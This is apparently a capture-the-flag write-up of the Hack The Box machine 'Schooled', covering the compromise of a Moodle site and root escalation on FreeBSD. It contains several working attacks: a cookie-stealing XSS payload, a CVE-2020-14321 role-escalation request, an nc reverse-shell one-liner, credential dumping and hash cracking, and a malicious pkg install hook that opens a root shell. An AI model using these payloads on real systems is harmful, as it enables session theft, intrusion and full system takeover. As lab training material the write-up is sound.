Welcome to the Schooled writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Schooled

tags: HTB Medium FreeBSD
Platform: Hackthebox
Difficult: Medium
S.O.: FreeBSD

Enumeration

Nmap

To get started, we run a depth open ports scan.

$ nmap -A -Pn -p- 10.10.10.234
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-03 21:42 CEST
Nmap scan report for 10.10.10.234
Host is up (0.094s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data.
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=4/3%OT=22%CT=1%CU=40836%PV=Y%DS=2%DC=T%G=Y%TM=6068C6AE
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=RI%TS=22)OP
OS:S(O1=M54DNW6ST11%O2=M54DNW6ST11%O3=M54DNW6NNT11%O4=M54DNW6ST11%O5=M54DNW
OS:6ST11%O6=M54DST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)EC
OS:N(R=Y%DF=Y%T=40%W=FFFF%O=M54DNW6SLL%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=FFFF%S=O%A=S+%F=AS%O=M54DNW6ST11%RD
OS:=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

TRACEROUTE (using port 993/tcp)
HOP RTT      ADDRESS
1   94.07 ms 10.10.14.1
2   94.29 ms 10.10.10.234

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 393.35 seconds

Ffuf

Let's do a bit of fuzzing to try and find subdomains.

$ ffuf -w /usr/share/wordlists/custom.txt -H "HOST: FUZZ.schooled.htb" -u http://10.10.10.234/ -mc 200 -fl 462

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.234/
 :: Wordlist         : FUZZ: /usr/share/wordlists/custom.txt
 :: Header           : Host: FUZZ.schooled.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response lines: 462
________________________________________________

moodle                  [Status: 200, Size: 84, Words: 5, Lines: 2]

We have found a moodle so let's add it to our /etc/hosts file as moodle.schooled.htb and explore it.

Exploitation

Within the course Mathematics, we can read an announcement with the name Reminder to join the students that tells us:

This is a self enrollment course. For students who wish to attend my lectures be sure that you have your MoodleNet profile set.

Students who do not set their MoodleNet profiles will be  removed from the course before the course is due to start and I will be checking all students who are enrolled on this course.

Look forward to seeing you all soon.

Manuel Phillips

And, if we look inside our profile, we can find the MoodleProfile entry inside it. We can write a simple XSS to steal the user's cookie and get the teacher's cookie.

<scrip>document.write('<img src=x onerror=this.src="http://10.10.14.9/?c="+document.cookie>');</script>

10.10.10.234 - - [04/Apr/2021 09:50:08] "GET /?c=MoodleSession=72nm3m4h4igo38jsgge1p65avd HTTP/1.1" 200 -

Perfect! we already have it, now we are going to replace our cookie with the teacher's.

To convert Manuel into a manager we can take advantage of CVE-2020-14321. To do this, we must intercept with BURP the request corresponding to Enroll Users (Maths/Participants/) after having selected the desired user.

Once we have intercepted it, we must replace the parameter userlist% 5B% 5D = 28 with the id of the user Manuel which is 24 and replace the value of roletoassign = 5 with1.

GET /moodle/enrol/manual/ajax.php?mform_showmore_main=0&id=5&action=enrol&enrolid=10&sesskey=oLaBTOsHw2&_qf__enrol_manual_enrol_users_form=1&mform_showmore_id_main=0&userlist%5B%5D=24&roletoassign=1&startdate=4&duration= HTTP/1.1
Host: moodle.schooled.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://moodle.schooled.htb/moodle/user/index.php?id=5
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: MoodleSession=72nm3m4h4igo38jsgge1p65avd

Now, we need to add a Lianne Carter (The administrator of this moodle platform) as Manager of the Mathematics course.
For doing so, we only have to enroll him selecting the Manager role.

Then, going to the Manuel Phillips profile for the mathemtics course, we need to click in the Manager link

Then we need to click in Lianne Carter.

Now, we can login as him.
Note: You must do this pretty quickly, because the roles are being reseted after a while.

Now we need to modify the Manager role permissions in order to be able to install a new plugin. First, we need to access Site administration/Users/Define Roles/Manager/Edit. Then, we intercept with burpsuite the request produced by clicking on "Save changes", editing the request as the following link.

Note: do not replace the sseskey variable.

Before install, we need to allow the insecure plugins upload accesing here.
Now we can install a plugin in the following url. For obtaining an RCE you can upload this file.
Once installed you will see the banner telling you, that it has been installed correctly.

Now you can execute commands through this link.

http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id

If you want a reverse shell, use this payload, changing the IP and port.

http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.15.26%204444%20%3E%2Ftmp%2Ff

Post exploitation

Privilege escalation 1

Enumeration

Inside the moodle instalation files, we can find the config.php file with the MySQL credentials.

cat /usr/local/www/apache24/data/moodle/config.php
[...]

$CFG->dbtype    = 'mysqli';
$CFG->dblibrary = 'native';
$CFG->dbhost    = 'localhost';
$CFG->dbname    = 'moodle';
$CFG->dbuser    = 'moodle';
$CFG->dbpass    = 'PlaybookMaster2020';
$CFG->prefix    = 'mdl_';
$CFG->dboptions = array (
  'dbpersist' => 0,
  'dbport' => 3306,
  'dbsocket' => '',
  'dbcollation' => 'utf8_unicode_ci',
);
[...]

Now, with the database credentials we can extract all the credentials from the registered users in the moodle platform.

/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "show databases; use moodle; show tables; describe mdl_user;"

[...]
username        varchar(100)    NO
password        varchar(255)    NO
[...]

/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "use moodle; SELECT username, password FROM mdl_user;"

username        password
guest   $2y$10$u8DkSWjhZnQhBk1a0g1ug.x79uhkx/sa7euU8TI4FX4TCaXK6uQk2
admin   $2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
bell_oliver89   $2y$10$N0feGGafBvl.g6LNBKXPVOpkvs8y/axSPyXb46HiFP3C9c42dhvgK
orchid_sheila89 $2y$10$YMsy0e4x4vKq7HxMsDk.OehnmAcc8tFa0lzj5b1Zc8IhqZx03aryC
chard_ellzabeth89       $2y$10$D0Hu9XehYbTxNsf/uZrxXeRp/6pmT1/6A.Q2CZhbR26lCPtf68wUC
morris_jake89   $2y$10$UieCKjut2IMiglWqRCkSzerF.8AnR8NtOLFmDUcQa90lair7LndRy
heel_james89    $2y$10$sjk.jJKsfnLG4r5rYytMge4sJWj4ZY8xeWRIrepPJ8oWlynRc9Eim
nash_michael89  $2y$10$yShrS/zCD1Uoy0JMZPCDB.saWGsPUrPyQZ4eAS50jGZUp8zsqF8tu
singh_rakesh89  $2y$10$Yd52KrjMGJwPUeDQRU7wNu6xjTMobTWq3eEzMWeA2KsfAPAcHSUPu
taint_marcus89  $2y$10$kFO4L15Elng2Z2R4cCkbdOHyh5rKwnG4csQ0gWUeu2bJGt4Mxswoa
walls_shaun89   $2y$10$EDXwQZ9Dp6UNHjAF.ZXY2uKV5NBjNBiLx/WnwHiQ87Dk90yZHf3ga
smith_john89    $2y$10$YRdwHxfstP0on0Yzd2jkNe/YE/9PDv/YC2aVtC97mz5RZnqsZ/5Em
white_jack89    $2y$10$PRy8LErZpSKT7YuSxlWntOWK/5LmSEPYLafDd13Nv36MxlT5yOZqK
travis_carl89   $2y$10$VO/MiMUhZGoZmWiY7jQxz.Gu8xeThHXCczYB0nYsZr7J5PZ95gj9S
mac_amy89       $2y$10$PgOU/KKquLGxowyzPCUsi.QRTUIrPETU7q1DEDv2Dt.xAjPlTGK3i
james_boris89   $2y$10$N4hGccQNNM9oWJOm2uy1LuN50EtVcba/1MgsQ9P/hcwErzAYUtzWq
pierce_allan    $2y$10$ia9fKz9.arKUUBbaGo2FM.b7n/QU1WDAFRafgD6j7uXtzQxLyR3Zy
henry_william89 $2y$10$qj67d57dL/XzjCgE0qD1i.ION66fK0TgwCFou9yT6jbR7pFRXHmIu
harper_zoe89    $2y$10$mnYTPvYjDwQtQuZ9etlFmeiuIqTiYxVYkmruFIh4rWFkC3V1Y0zPy
wright_travis89 $2y$10$XFE/IKSMPg21lenhEfUoVemf4OrtLEL6w2kLIJdYceOOivRB7wnpm
allen_matthew89 $2y$10$kFYnbkwG.vqrorLlAz6hT.p0RqvBwZK2kiHT9v3SHGa8XTCKbwTZq
sanders_wallis89        $2y$10$br9VzK6V17zJttyB8jK9Tub/1l2h7mgX1E3qcUbLL.GY.JtIBDG5u
higgins_jane    $2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2
phillips_manuel $2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG
carter_lianne   $2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe
parker_dan89    $2y$10$MYvrCS5ykPXX0pjVuCGZOOPxgj.fiQAZXyufW5itreQEc2IB2.OSi
parker_tim89    $2y$10$YCYp8F91YdvY2QCg3Cl5r.jzYxMwkwEm/QBGYIs.apyeCeRD7OD6S
x4v1l0k $2y$10$PxajPwQA4jH/QMdb4ohwPuRKWhIbm4eSFHfI5ZQCCBcVu2FE/f3PC
pepe    $2y$10$wfXpNKAc1/KNWMbxEykLzeK82cGTJSfrzrUGTt07hQ5udT9xJdQU.

Hashcat

All these hashes are blowfish.

[email protected]:~/Documents/HTB/Schooled$ hashid
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
Analyzing '$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW'
[+] Blowfish(OpenBSD) 

Because, blowfish is a time computing hash function we are just going to focus on the admin hash.

$ hashcat -a 0 -m 3200 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.0.0) starting...

[...]

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

Cracking performance lower than expected?        

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW:!QAZ2wsx

The admin (!QAZ2wsx) password for the user jamie through SSH.

And now being jamie we can read the user flag.

Privilege escalation 2

Sudo

We can install packages as sudo.

[email protected]:~ $ sudo -l                     
User jamie may run the following commands on Schooled:      
    (ALL) NOPASSWD: /usr/sbin/pkg update       
    (ALL) NOPASSWD: /usr/sbin/pkg install *

So as we did with the machine Armageddon, we are going to use the installation hooks in order to obtain a reverse shell as root.

Package creation

In order to create the package I followed this post. But here you have the modified script with the reverse shell attached.

Note: Do not forget to change the IP and port.

#!/bin/sh

STAGEDIR=/tmp/package
rm -rf ${STAGEDIR}
mkdir -p ${STAGEDIR}

cat >> ${STAGEDIR}/+PRE_INSTALL <<EOF
# careful here, this may clobber your system
echo "Resetting root shell"
rm /tmp/a;mkfifo /tmp/a;cat /tmp/a|/bin/sh -i 2>&1|nc 10.10.15.26 4444 >/tmp/a
EOF

cat >> ${STAGEDIR}/+POST_INSTALL <<EOF
# careful here, this may clobber your system
echo "Registering root shell"
pw usermod -n root -s /bin/sh
EOF

cat >> ${STAGEDIR}/+MANIFEST <<EOF
name: mypackage
version: "1.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: [email protected]
www: https://doe.it
prefix: /
EOF

echo "deps: {" >> ${STAGEDIR}/+MANIFEST
pkg query "  %n: { version: \"%v\", origin: %o }" portlint >> ${STAGEDIR}/+MANIFEST
pkg query "  %n: { version: \"%v\", origin: %o }" poudriere >> ${STAGEDIR}/+MANIFEST
echo "}" >> ${STAGEDIR}/+MANIFEST

mkdir -p ${STAGEDIR}/usr/local/etc
echo "# hello world" > ${STAGEDIR}/usr/local/etc/my.conf
echo "/usr/local/etc/my.conf" > ${STAGEDIR}/plist

pkg create -m ${STAGEDIR}/ -r ${STAGEDIR}/ -p ${STAGEDIR}/plist -o .

Now we need to execute the script in the FreeBSD machine.

Package installation

[email protected]:/tmp $ chmod +x script.sh; ./script.sh
[email protected]:/tmp $ ls             
mypackage-1.0_5.txz     mysqlx.sock             script.sh                                     
mysql.sock              mysqlx.sock.lock                                                      
mysql.sock.lock         package 

pkg by default checks the online FreeBSD repository catalogue we can not install the package, so it hangs until it updates the catalogue (It is not gonna happend)

[email protected]:/tmp $ sudo /usr/sbin/pkg install mypackage-1.0_5.txz
Updating FreeBSD repository catalogue...
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database

Hence, we need to add the flag --no-repo-update so it doesn't update the catalogue.

[email protected]:/tmp $ sudo /usr/sbin/pkg install --no-repo-update mypackage-1.0_5.txz
pkg: Repository FreeBSD has a wrong packagesite, need to re-create database
pkg: Repository FreeBSD cannot be opened. 'pkg update' required
Checking integrity... done (0 conflicting)
The following 1 package(s) will be affected (of 0 checked):
New packages to be INSTALLED:
        mypackage: 1.0_5
Number of packages to be installed: 1
Proceed with this action? [y/N]: y
[1/1] Installing mypackage-1.0_5...
Resetting root shell
rm: /tmp/a: No such file or directory      

Now, the installation will hang, but we will obtain a reverse shell as root.

[email protected]:~/Documents/HTB/Schooled$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.109.156] 11387
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# wc -c /root/root.txt
32